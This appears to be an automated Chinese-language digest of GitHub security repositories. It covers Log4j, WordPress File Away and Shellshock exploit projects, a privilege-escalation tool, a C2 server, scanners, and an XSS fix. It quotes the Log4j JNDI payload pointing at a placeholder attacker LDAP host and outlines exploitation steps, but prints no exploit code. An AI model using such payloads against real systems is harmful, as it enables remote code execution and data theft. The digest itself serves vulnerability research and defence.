该仓库提供了一个CVE-2021-44228 Log4j JNDI注入漏洞的复现环境。该环境基于Spring Boot构建，核心功能是接收用户提交的参数，并使用Log4j记录日志。漏洞存在于Log4j 2.x版本中，当应用程序使用Log4j记录用户可控的输入时，攻击者可以通过构造恶意的JNDI payload触发远程代码执行。 仓库包含以下文件： .gitignore, pom.xml (定义了Spring Boot Web和Log4j依赖), Log4jDemoApplication.java, VulController.java (处理/vul请求，从请求参数中获取action参数并记录日志), application.properties (配置了服务端口), index.html。 提交的更新主要是修改了README.md， 增加了访问方式，给出了使用JNDI-Injection-Exploit工具生成payload的示例，并提供了payload示例。 漏洞利用方式： 攻击者构造恶意payload，通过在action参数中注入JNDI表达式，例如${jndi:ldap://attacker_ip:port/xxx}，从而触发远程代码执行。 该仓库提供了完整的复现环境和利用方法，可以直接用于验证漏洞。

🔍 关键发现

序号 发现内容
1 Log4j JNDI注入漏洞复现环境
2 提供Spring Boot Web应用
3 包含漏洞利用payload示例
4 易于复现和验证漏洞

🛠️ 技术细节

漏洞原理：Log4j 2.x版本在处理用户输入时，如果开启了JNDI lookup功能，且用户输入可控，攻击者可以构造恶意的JNDI表达式，通过LDAP或RMI协议加载远程代码，从而实现远程代码执行。

利用方法：构造恶意的payload，例如 ${jndi:ldap://attacker_ip:port/xxx}，将其作为参数传递给/vul接口的action参数。

修复方案：升级Log4j到安全版本，或者禁用JNDI lookup功能。对于较旧的Log4j版本，可以通过设置log4j2.formatMsgNoLookups=true来缓解风险。

🎯 受影响组件

• Log4j 2.x
• Spring Boot Web 应用

⚡ 价值评估

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该仓库提供了一个完整的CVE-2021-44228漏洞复现环境，包含可用的POC和利用方法，漏洞影响广泛，且危害严重，属于远程代码执行(RCE)。

CVE-2025-2539 - File Away插件任意文件读取漏洞

📌 漏洞信息

属性 详情
CVE编号 CVE-2025-2539
风险等级 CRITICAL
利用状态 POC可用
发布时间 2025-06-21 00:00:00
最后更新 2025-06-21 07:04:51

📦 相关仓库

💡 分析概述

该仓库提供了针对 WordPress File Away 插件的 CVE-2025-2539 漏洞的 PoC。漏洞存在于File Away插件的3.9.9.0.1及以下版本，由于缺乏权限检查，允许未经身份验证的攻击者通过 ajax() 函数读取服务器上的任意文件。 仓库包含一个 README.md 文件，详细介绍了漏洞的概述、PoC的使用方法，以及一个名为 CVE_2025-2539.py 的 Python 脚本，该脚本实现了针对该漏洞的利用。该脚本首先尝试获取fileaway_stats的nonce，然后构造 POST 请求从指定文件读取内容并保存到本地。 漏洞利用方式： 攻击者通过构造特定的 POST 请求，利用缺乏权限检查的 ajax() 函数来读取服务器上的任意文件。

🔍 关键发现

序号 发现内容
1 WordPress File Away 插件存在任意文件读取漏洞。
2 漏洞允许未授权访问服务器文件，可能导致敏感信息泄露。
3 PoC脚本已提供，易于复现漏洞。
4 影响版本：File Away 插件 <= 3.9.9.0.1

🛠️ 技术细节

漏洞类型：未授权的任意文件读取。

漏洞原理：File Away插件的 ajax() 函数缺少权限检查，允许未授权用户通过构造请求读取服务器上任意文件。

利用方法：执行提供的 Python 脚本，指定目标URL和要读取的文件名。脚本首先获取nonce，然后构造POST请求到admin-ajax.php，请求的参数包括action, nonce 和 file, 服务器将返回文件的URL, 最终下载文件内容。

修复方案：升级 File Away 插件至 3.9.9.0.1 以上版本，或是在 ajax() 函数中加入适当的权限验证。

代码分析：POC脚本首先获取nonce，然后构造POST请求到admin-ajax.php，请求的参数包括action, nonce 和 file, 服务器将返回文件的URL, 最终下载文件内容。

🎯 受影响组件

• WordPress File Away 插件

⚡ 价值评估

展开查看详细评估

该漏洞影响广泛使用的 WordPress 插件，存在明确的 PoC 代码，且漏洞利用条件明确，可导致敏感信息泄露。

Shellshock_vuln_Exploit - Shellshock漏洞RCE利用工具

📌 仓库信息

属性 详情
仓库名称 Shellshock_vuln_Exploit
风险等级 CRITICAL
安全类型 漏洞利用
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 2
  • 变更文件数: 2

💡 分析概述

该仓库提供了一个针对Shellshock漏洞(CVE-2014-6271)的Python脚本，用于在存在漏洞的CGI脚本上执行远程代码。更新内容主要在于修复了反向shell连接的超时问题，以及README.md的更新。Shellshock漏洞允许攻击者通过构造恶意的环境变量来执行任意命令。此漏洞影响使用Bash作为shell的服务器。更新修复了在等待反向shell连接时可能出现的超时问题，提高了利用的可靠性。该漏洞的利用方式是通过向易受攻击的CGI脚本发送特制的HTTP请求，在服务器上执行任意命令。攻击者可以利用此漏洞获取对服务器的远程控制权。

🔍 关键发现

序号 发现内容
1 针对Shellshock漏洞(CVE-2014-6271)的RCE利用工具
2 修复了反向shell连接的超时问题，提高了利用的可靠性
3 允许攻击者在易受攻击的CGI脚本上执行任意命令
4 可以用于获取服务器的远程控制权

🛠️ 技术细节

CVE-2014-6271漏洞利用

使用Python编写的exploit脚本

修复了在等待反向shell连接时未设置超时的问题，提高漏洞利用的稳定性

通过构造恶意环境变量触发漏洞

更新了README.md文档

🎯 受影响组件

• GNU Bash
• CGI脚本
• Web服务器

⚡ 价值评估

展开查看详细评估

该仓库提供了一个可用于Shellshock漏洞利用的工具，修复了脚本中的一个关键问题，提高了漏洞利用的成功率。Shellshock是一个高危漏洞，利用该漏洞可能导致服务器被完全控制，因此该更新具有较高的安全价值。

CVE-2021-44228-Log4j-JNDI - Log4j漏洞复现环境

📌 仓库信息

属性 详情
仓库名称 CVE-2021-44228-Log4j-JNDI
风险等级 CRITICAL
安全类型 漏洞利用
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 3
  • 变更文件数: 4

💡 分析概述

该仓库提供了一个CVE-2021-44228 Log4j漏洞的复现环境。通过搭建一个简单的Spring Boot应用，模拟了Log4j漏洞的触发。更新包括修改了README.md文件，添加了访问路径、漏洞复现步骤以及payload示例。仓库的功能是帮助安全研究人员和开发人员了解和测试Log4j漏洞。该漏洞是由于Log4j日志库在处理用户输入时，未能正确过滤JNDI注入，导致攻击者可以通过构造恶意的JNDI请求，执行任意代码。更新后的README.md文件提供了更明确的复现步骤和payload示例。

🔍 关键发现

序号 发现内容
1 提供Log4j漏洞复现环境
2 展示了漏洞的利用方法
3 包含payload示例
4 帮助理解和测试Log4j漏洞

🛠️ 技术细节

该项目基于Spring Boot框架构建，模拟了Log4j漏洞的环境。

通过访问/vul接口，并构造特定的action参数，触发Log4j日志记录，从而触发JNDI注入。

利用JNDI注入技术，攻击者可以在目标服务器上执行任意代码。

README.md文件中提供了JNDI-Injection-Exploit工具的用法以及payload示例。

🎯 受影响组件

• Log4j日志库
• Spring Boot 应用

⚡ 价值评估

展开查看详细评估

该项目提供了CVE-2021-44228 Log4j漏洞的复现环境和利用方法，有助于安全研究人员和开发人员理解和测试该漏洞。通过复现环境，可以验证和评估漏洞的危害，并学习如何进行防护。

znlinux - Linux提权工具，漏洞利用

📌 仓库信息

属性 详情
仓库名称 znlinux
风险等级 HIGH
安全类型 漏洞利用
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个针对Linux系统的提权工具，旨在帮助安全研究人员和爱好者发现和利用Linux系统中的漏洞。本次更新主要修改了README.md文件，新增了关于工具的介绍，功能，安装，使用，贡献，许可，联系方式和版本发布等内容。由于该项目专注于Linux提权，涉及漏洞利用，因此具有潜在的安全风险。

🔍 关键发现

序号 发现内容
1 提供Linux系统提权功能
2 包含多种架构的漏洞利用
3 更新了README.md文件，完善了项目介绍
4 可能包含未知的漏洞利用代码

🛠️ 技术细节

项目功能集中在Linux环境下的提权，涉及对各种漏洞的利用。具体实现细节需要进一步分析代码。

本次更新主要集中在项目介绍，并未直接给出漏洞利用代码。但此类工具的潜在风险较高。

🎯 受影响组件

• Linux系统，具体涉及内核版本以及可能包含的易受攻击的软件。

⚡ 价值评估

展开查看详细评估

该项目专注于Linux提权，虽然本次更新仅修改了README.md文件，但其核心功能是漏洞利用，对安全研究具有参考价值。任何此类工具都可能包含潜在的漏洞利用代码。

Project-Ares - Ransomware行为分析工具

📌 仓库信息

属性 详情
仓库名称 Project-Ares
风险等级 MEDIUM
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

Project-Ares是一个专注于IT安全研究的工具，特别用于分析勒索软件行为。本次更新主要修改了README.md文件，主要更新了免责声明和技术概述，以及启动流程的描述，这部分内容描述了工具的启动方式，以及对环境的检查，并加载必要的模块。虽然更新内容未直接涉及漏洞或安全修复，但对理解和使用该工具至关重要。该工具旨在分析勒索软件行为，因此潜在涉及安全风险分析。

🔍 关键发现

序号 发现内容
1 Project-Ares是一个用于分析勒索软件行为的工具
2 更新了README.md文件，包括免责声明和技术概述
3 描述了工具的启动流程和环境检查
4 该工具旨在分析勒索软件，涉及安全风险分析

🛠️ 技术细节

更新了README.md文件，修改了免责声明和技术概述

描述了run.py的启动流程

强调了工具在开发中可能存在的不稳定性

🎯 受影响组件

• Project-Ares
• run.py

⚡ 价值评估

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虽然本次更新未直接涉及漏洞或安全修复，但该工具用于分析勒索软件，因此对安全研究具有潜在价值。

Hackermindset - OffSec Tools and Scanner

📌 仓库信息

属性 详情
仓库名称 Hackermindset
风险等级 MEDIUM
安全类型 Security Research/Security Tool/Vulnerability Detection
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 15

💡 分析概述

The repository contains a collection of OffSec tools and scripts, along with a Burp Suite extension. The recent updates add several Python scripts (Atividade3.py, Atividade4_argument.py, Exercicio5.py, cp1.py, and PIIScanner.py) for various security tasks, including subdomain enumeration, path enumeration, and PII (Personally Identifiable Information) scanning. These scripts demonstrate basic web application security testing techniques, such as information gathering. The PIIScanner.py script is of particular interest as it functions as a Burp Suite extension designed to scan HTTP requests and responses for PII data like CPF and dates. The code also includes a basic subdomain bruteforce implementation, alongside a rudimentary path enumeration approach based on wordlists, and a file containing a list of common subdomains and paths.

🔍 关键发现

序号 发现内容
1 Introduction of several Python scripts for security testing.
2 Includes a Burp Suite extension (PIIScanner.py) for PII detection.
3 Implements subdomain and path enumeration techniques.
4 Provides basic tools for web application information gathering.

🛠️ 技术细节

Atividade3.py and Atividade3_input.py: Reads a file (darkweb2017-top100.txt) and prints lines, demonstrating file reading and basic input handling.

Atividade4_argument.py and Atividade4_input.py: Performs subdomain enumeration using a wordlist and the requests library.

Exercicio5.py: Enumerates paths and files, checks HTTP status codes.

cp1.py: Checks for subdomains and paths on a given URL using a provided wordlist. It also attempts to filter out non-HTTP/HTTPS URLS.

PIIScanner.py: A Burp Suite extension that scans HTTP requests and responses for PII such as CPF and dates. It uses regular expressions for pattern matching and provides an example of how to extend Burp's functionality.

The project uses hardcoded wordlists for path and subdomain enumeration (e.g., subdomains-top1million-5000.txt, common.txt, common1.txt, darkweb2017-top100.txt).

The Second_Checkpoint.sh script gathers information such as the title, server and programming language of a website.

🎯 受影响组件

• Web applications
• Burp Suite (with PIIScanner.py extension)
• Network infrastructure (for subdomain enumeration)
• Systems where the scripts are executed.

⚡ 价值评估

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The inclusion of the PIIScanner.py Burp Suite extension, which provides functionality for detecting PII, enhances the toolkit's value for security testing. Furthermore, the implementation of subdomain and path enumeration, albeit basic, provides useful functionality for reconnaissance.

Brainwave_Matrix_Intern - Python钓鱼链接扫描器

📌 仓库信息

属性 详情
仓库名称 Brainwave_Matrix_Intern
风险等级 LOW
安全类型 安全工具
更新类型 项目文档更新

📊 代码统计

  • 分析提交数: 2
  • 变更文件数: 2

💡 分析概述

该仓库是一个Python编写的钓鱼链接扫描器，主要功能是检测钓鱼URL。扫描器使用多种启发式方法和第三方威胁情报API(VirusTotal)，来分析URL的特征并识别钓鱼行为。更新内容主要为README.md的完善，详细描述了项目的功能、技术细节以及学习心得。 仓库整体是一个实用的安全工具，能够帮助进行钓鱼链接的检测和分析。 尽管如此，该项目没有直接的漏洞利用代码或POC，其价值在于提供了一种检测和分析钓鱼链接的实践方法。

🔍 关键发现

序号 发现内容
1 基于Python的钓鱼链接扫描器
2 使用启发式分析和VirusTotal API进行检测
3 提供URL结构分析和域名分析功能
4 实现了钓鱼链接检测的自动化
5 与安全工具关键词高度相关

🛠️ 技术细节

使用Python 3.10+开发

使用Requests库处理HTTP请求

使用tldextract库进行域名解析

集成VirusTotal API进行信誉和域名年龄检查

实现多种启发式检测，如检查IP地址、@符号、URL长度、域名中的连字符、SSL证书等

生成包含扫描结果的报告文件

🎯 受影响组件

• Python环境
• Requests库
• tldextract库
• VirusTotal API

⚡ 价值评估

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该仓库直接针对安全领域，实现了对钓鱼链接的检测，与关键词'security tool'高度相关。虽然风险等级较低，但提供了实用的安全工具，且代码质量良好，具备一定的参考价值。

c284-webmain-1 - C2框架Web服务器更新与修复

📌 仓库信息

属性 详情
仓库名称 c284-webmain-1
风险等级 MEDIUM
安全类型 安全功能/安全修复
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 8

💡 分析概述

该仓库是一个C2框架的Web服务器代码，本次更新主要集中在MongoDB副本集创建、DNS解析 race condition修复、添加GPC支持以及软件包和软件版本更新。 其中，MongoDB相关的修复可能涉及到数据库连接的稳定性和安全性。添加GPC支持是对于用户隐私的保护，修复DNS解析的竞态条件可以提高系统稳定性，升级软件包则可以修复潜在的漏洞，或者带来性能的提升。由于此仓库是C2框架，更新内容虽然没有直接的安全漏洞修复，但对于C2框架的稳定性和隐蔽性有增强作用，因此具有一定价值。

🔍 关键发现

序号 发现内容
1 修复MongoDB副本集创建问题
2 修复DNS解析竞态条件
3 添加.well-known/gpc.json文件，支持GPC
4 更新依赖软件包和软件版本

🛠️ 技术细节

修复MongoDB副本集创建：修改了MongoDB客户端的初始化方式，添加了directConnection选项，并且在创建副本集时加入了异常处理机制。这增强了数据库连接的稳定性和容错性。

修复DNS解析竞态条件：在reverse proxy中添加了对srv_web_main_addrs的判空和初始化逻辑，保证了程序在DNS解析失败时能够正确处理，提高了稳定性。

添加GPC支持：在.well-known/gpc.json文件中添加了GPC(Global Privacy Control)配置，同时在get_request_props.js中增加了对Sec-GPC header的判断，这有助于保护用户隐私，符合隐私保护法规。

更新软件包和软件版本：更新了docker镜像的NODE_MAJOR_VER, NODE_FULL_VER, NGINX_VER, ZLIB_VER，以及srv_web_main的依赖，这些更新可能修复了已知漏洞，提升了服务器的安全性

🎯 受影响组件

• MongoDB
• Node.js
• Nginx
• Web 服务器

⚡ 价值评估

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C2框架的稳定性和隐蔽性增强，包括数据库连接优化、DNS解析修复、GPC支持、以及依赖更新等，这些都有助于提升C2框架的整体安全性。

Network_security - AI驱动的网络入侵检测系统

📌 仓库信息

属性 详情
仓库名称 Network_security
风险等级 MEDIUM
安全类型 安全工具/安全研究
更新类型 功能增强/新增功能

📊 代码统计

  • 分析提交数: 3
  • 变更文件数: 13

💡 分析概述

该仓库是一个基于AI的网络入侵检测系统，包括数据包捕获、解析、特征提取、模型训练和预测。更新内容包括：新增DDoS攻击模拟器，优化了数据包解析器，增加了IP地址提取功能。整体上，仓库提供了完整的IDS流程，从数据采集到模型预测，并增加了DDoS攻击模拟器。DDoS攻击模拟器能够生成多种类型的DDoS攻击流量，用于测试和评估IDS的检测能力。此外，更新后的数据包解析器提取了源IP和目的IP地址，方便流量分析。该仓库的主要功能是实现基于AI的网络流量分析和入侵检测，与关键词AI Security高度相关。没有发现明显的漏洞，因此不包含漏洞利用方式分析。

🔍 关键发现

序号 发现内容
1 基于AI的入侵检测系统
2 包含数据包捕获、解析、特征提取、模型训练和预测
3 新增DDoS攻击模拟器，用于测试IDS
4 优化数据包解析器，提取源IP和目的IP地址
5 与AI Security高度相关

🛠️ 技术细节

使用scapy库进行数据包解析

使用pandas进行数据处理

使用joblib加载和保存模型

DDoS攻击模拟器生成多种DDoS攻击流量，包括SYN Flood。

数据包解析器优化，提取了源IP和目的IP地址

🎯 受影响组件

• pcap.py
• packet_parser.py
• get_real_packet.py
• inference.py
• ddos_simulator.py

⚡ 价值评估

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仓库实现了基于AI的网络入侵检测，功能完整，代码结构清晰，更新增加了DDoS模拟器，提高了测试和评估的价值，且与AI Security高度相关。

SAIF - AI安全学习平台，用于漏洞挖掘

📌 仓库信息

属性 详情
仓库名称 SAIF
风险等级 MEDIUM
安全类型 安全研究
更新类型 文档更新

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个专为AI安全设计的诊断应用，名为SAIF（Secure AI Foundations）。其主要功能是提供一个平台，供学习者识别AI系统中的安全漏洞，并学习如何修复这些漏洞。SAIF包含前端（PHP）、后端API（Python FastAPI）和数据库（SQL Server），并支持Docker部署和Azure部署。更新内容主要是在README文件中增加了SAIF在行动的截图，更加清晰地展示了SAIF的交互式诊断仪表板。SAIF中设计了多种安全挑战，如身份和访问管理、网络安全、应用安全、数据保护、API安全、内容安全等方面的漏洞，供学习者进行挖掘和修复。

由于SAIF是一个用于安全教育的平台，其本身就包含了多个漏洞，为学习者提供了实践机会，但具体漏洞和利用方式需要在学习过程中进行挖掘和分析。

🔍 关键发现

序号 发现内容
1 提供了一个3层架构的诊断应用程序，用于学习AI系统的安全。
2 包含多种安全挑战，涵盖身份、网络、应用、内容等安全领域。
3 支持Docker和Azure部署，方便学习者搭建和使用。
4 更新内容主要为README文档的完善和截图展示，增强了对应用的理解。

🛠️ 技术细节

前端使用PHP编写，提供用户界面。

后端使用Python FastAPI构建REST API。

数据库使用SQL Server存储数据。

应用程序使用Docker进行容器化，方便部署。

提供了在Azure上的一键部署功能。

🎯 受影响组件

• PHP Web Frontend
• Python FastAPI API Backend
• SQL Server Database
• Docker
• Azure

⚡ 价值评估

展开查看详细评估

该仓库与AI安全高度相关，它旨在帮助学习者了解和实践AI系统的安全防护。它提供了多个安全挑战，可以用于漏洞挖掘和渗透测试。虽然仓库本身不包含现成的漏洞利用代码，但它提供了学习和实践的平台，因此具有较高的研究价值。

kyloai - XSS漏洞修复及安全增强

📌 仓库信息

属性 详情
仓库名称 kyloai
风险等级 HIGH
安全类型 安全修复
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 4
  • 变更文件数: 8

💡 分析概述

该仓库是一个AI视频生成平台，本次更新主要集中在修复XSS漏洞和提升安全性。具体包括：1. 修复了关键的XSS漏洞，提升代码质量。2. 增加了全面的HTML转义，以防止电子邮件模板中的XSS攻击。3. 创建了包含escapeHtml, sanitizeObject, and sanitizeEmail函数的sanitize实用工具。4. 更新所有电子邮件模板，对用户输入进行适当的HTML转义。此外，还对电子邮件服务进行了重构，增加了错误处理和重试逻辑，并改进了管理访问配置。该更新提升了平台的安全性，特别是针对XSS攻击的防御能力。

🔍 关键发现

序号 发现内容
1 修复了XSS漏洞
2 新增HTML转义，增强安全性
3 创建了sanitize工具
4 更新电子邮件模板，进行HTML转义
5 改进错误处理和重试逻辑

🛠️ 技术细节

新增了 HTML 实体转义函数以防止 XSS 攻击。

更新了电子邮件模板，确保用户输入被正确转义。

实现了电子邮件发送的重试机制和错误处理，增强了系统的健壮性。

🎯 受影响组件

• 电子邮件模板
• 邮件服务

⚡ 价值评估

展开查看详细评估

修复了关键的XSS漏洞，并采取了防御措施，降低了平台被攻击的风险。

免责声明

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